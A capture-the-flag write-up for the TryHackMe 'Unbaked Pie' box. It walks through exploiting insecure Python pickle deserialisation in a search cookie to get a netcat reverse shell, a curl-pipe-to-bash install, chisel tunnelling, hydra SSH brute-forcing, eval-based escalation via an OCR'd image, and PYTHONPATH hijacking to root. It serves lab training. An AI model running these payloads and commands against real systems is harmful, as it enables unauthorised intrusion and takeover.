TryHackMe Unbaked Pie Writeup

This guide will help you solve the Unbaked box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.

<BOX_IP> unbaked.thm

TryHackMe Unbaked – Enumeration

As per usual, we start by checking open ports. For this we use a tool called nmap. Run the following command:

nmap -sV -sC -Pn unbaked.thm

The sV flag is added to find version information. The sC flag is added to execute some common scripts against the target. The Pn flag is added to treat all hosts as online. The box did not respond to a scan without this flag included. Including the flag treats the ports differently and in the end gave a result. The output of the scan can be seen below:

PORT     STATE SERVICE    VERSION
5003/tcp open  filemaker?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Wed, 09 Dec 2020 17:55:06 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=gPAoyQRTAuKInGmUiWrl8DU5OwjGM1X3BJ2ht4Nm5FBy1sgB9UqgtykZRd1l9Hdi; expires=Wed, 08 Dec 2021 17:55:06 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Wed, 09 Dec 2020 17:55:06 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=WwF4T8PagMDCj10pUQ6W5ICAOR0qaQ054T7KWtfgP8NXsB58GL51u1XIQYdVvZkt; expires=Wed, 08 Dec 2021 17:55:06 GMT; Max-Age=31449600; Path=/; SameSite=Lax

There is one web service running on port 5003. Let’s check this service out!

TryHackMe Unbaked Pie – Enumeration Web Server

It seems like there is a single web service running on port 5003. Browse to http://unbaked.thm:5003 to find the following page:

TryHackMe Unbaked Web app

There is a search input in which we can add some text. After providing a query some results are returned (mostly pies).

TryHackMe Unbaked Chocolate Pie

TryHackMe Unbaked Pie – Initial Foothold

If we check our cookies, we see that a search_cookie is filled with a Base64 value: gASVBwAAAAAAAACMA3BpZZQu. Decoding this using Cyberchef returns the following snippet: .............pie... One of the tags of this box was pickle. Pickle is a tool in Python to serialize objects. The cookie could be serialized using a pickle serialization. Let’s check this out. The following scripts decodes the Base64 value and deserializes the value.

import base64
import pickle

encoded_string = "gASVBwAAAAAAAACMA3BpZZQu"
decoded_string = base64.b64decode(encoded_string)
obz = pickle.loads(decoded_string)
print(obz)

Running this script: python3 script.py returns: pie. Just as we thought, this was the query we provided to the search input field. The next thing I discovered was by accident. I refreshed the search page and came to the conclusion that the server was running in developer mode. This made some parts of the source code publicly visible. I found the following snippet:

        encoded_cookie = base64.b64encode(pickle.dumps(query)) #dumps pickle
        encoded_cookie = encoded_cookie.decode("utf-8")
        if query:   
            results = Article.objects.filter(Q(title__icontains=query)|Q(body__icontains=query))
        else:
            results = Article.objects.all()
    context = {
        'results':results, …
    }
    html = render(request, 'homepage/search.html', context)
    html.set_cookie('search_cookie', encoded_cookie)
    return html

Here we can see that the cookie is indeed base64 encoded and pickle is used to serialize the query. We might be able to run some Python code using this cookie. Let’s craft a cookie which contains this reverse shell. I stumbled upon the following link which contains a Python class on how to create a reverse shell payload for pickle. The code is as follows:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Change 127.0.0.1 to the IP address of your attack box and save the file. Run the file to craft the payload. Intercept the search request using Burp Suite and change the value for the search_cookie to the value returned from the payload script. Consecutively, start a local netcat listener:

nc -lvnp 1234

The last step is to forward the request in Burp. Check your netcat terminal. It should display the following lines now:

/bin/sh: 0: can't access tty; job control turned off
# 

Awesome! We spawned a shell. Let’s improve our shell by running the following commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
CTRL+Z
stty raw -echo;fg
ENTER
ENTER

Note: the capitalized words are no commands but keyboard combinations you have to provide.

It seems we are root. Was it that easy?

TryHackMe Unbaked Pie – Network enumeration

Since we are the root user of this system, we can try to read the .bash_history file. The content is as follows:

nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh [email protected]
exit

Here we can see that there is another system. It seems like ramsey is able to log into this system using SSH. Since the SSH client is not installed on this server and we are not able to simply guess the password, we will create a tunnel in order to log into this server using SSH. This tunnel will be made using chisel. Get chisel on your local machine by running:

curl https://i.jpillora.com/chisel! | bash

Run the following command on the attacking machine in order to start the chisel server:

python3 -m http.server

in a new terminal run: 
./chisel server -p 2211 --reverse

then on the host machine run:

curl http://<attack_machine>:8000/chisel -o chisel
chmod +x chisel
./chisel client <attack_machine&;gt:2211 R:1337:172.17.0.1:22

You should now have created a tunneling between the SSH server on the new host machine and your attacking machine.

TryHackMe Unbaked Pie – User Flag

The next thing we try is brute-forcing the ramsey user using rockyou.txt. Run the following command:

hydra -s 1337 -l ramsey -P /usr/share/wordlists/rockyou.txt localhost ssh

After a short moment, you should acquire the password for the ramsey user. Log into the server using SSH:

ssh -p 1337 ramsey@localhost

Provide the password you just found and then you should see the following in your terminal:

Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


39 packages can be updated.
26 updates are security updates.


Last login: Fri Dec 11 06:01:28 2020 from 172.17.0.2

And we are in! The user flag is located at: /home/ramsey/user.txt.

TryHackMe Unbaked Pie – Escalate to Oliver User

The last step is finding the root flag. Run sudo -l and provide the password of ramsey. You should now see the following snippet:

Matching Defaults entries for ramsey on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ramsey may run the following commands on unbaked:
    (oliver) /usr/bin/python /home/ramsey/vuln.py

This means that we can run the /home/ramsey/vuln.py file as oliver. We are able to read this file as well. Run cat /home/ramsey/vuln.py to view the source code. The interesting lines in this file are:

LISTED = pytesseract.image_to_string(Image.open('payload.png')) 

			TOTAL = eval(LISTED)

pytesseract is a libary used to interpret characters from an image. This value is later ran by the eval function. Which means that our payload can be run as well. Let’s find an image containing: os.system('/bin/bash'). I created the following image:

TryHackMe Unbaked Pie - Shell

Save this file to your attacking machine and run the Python web server again using the following command:

python3 -m http.server

As ramsey Get the image using:

cd /home/ramsey
wget http://<ATTACKING_IP>:8000/shell.png
mv shell.png payload.png

Run the script using:

sudo -u oliver /usr/bin/python /home/ramsey/vuln.py

Provide a 2 and you should see the following happening to your terminal:

Waiting to extract...
			         [■■■■■■■■■■]oliver@unbaked:~$ 

And there we have it. We just imported a payload using an image and now elevated ourselves to the oliver user!

Last step is to find the root flag.

TryHackMe Unbaked Pie – Escalate to Oliver User

Running sudo -l gives us:

Matching Defaults entries for oliver on unbaked:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oliver may run the following commands on unbaked:
    (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py

It seems like we are able to run /opt/dockerScript.py as the root user. Let’s examine this file by running: cat /opt/dockerScript.py. The code inside the file is:

import docker

# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)

Docker is imported which we can abuse. Create a docker.py file inside the /home/oliver directory. The content should be:

import os
os.system("/bin/bash")

Run the following command to directly get access to the root user:

sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py

The root flag is located at: /root/root.txt.

This was a fun box to root. You should be careful to reveal valuable information. Even serialized pickle strings can be abused to gain access to a system. Furthermore, it was a nice escalation to import the payload using an image.

Leave a Reply

Your email address will not be published. Required fields are marked *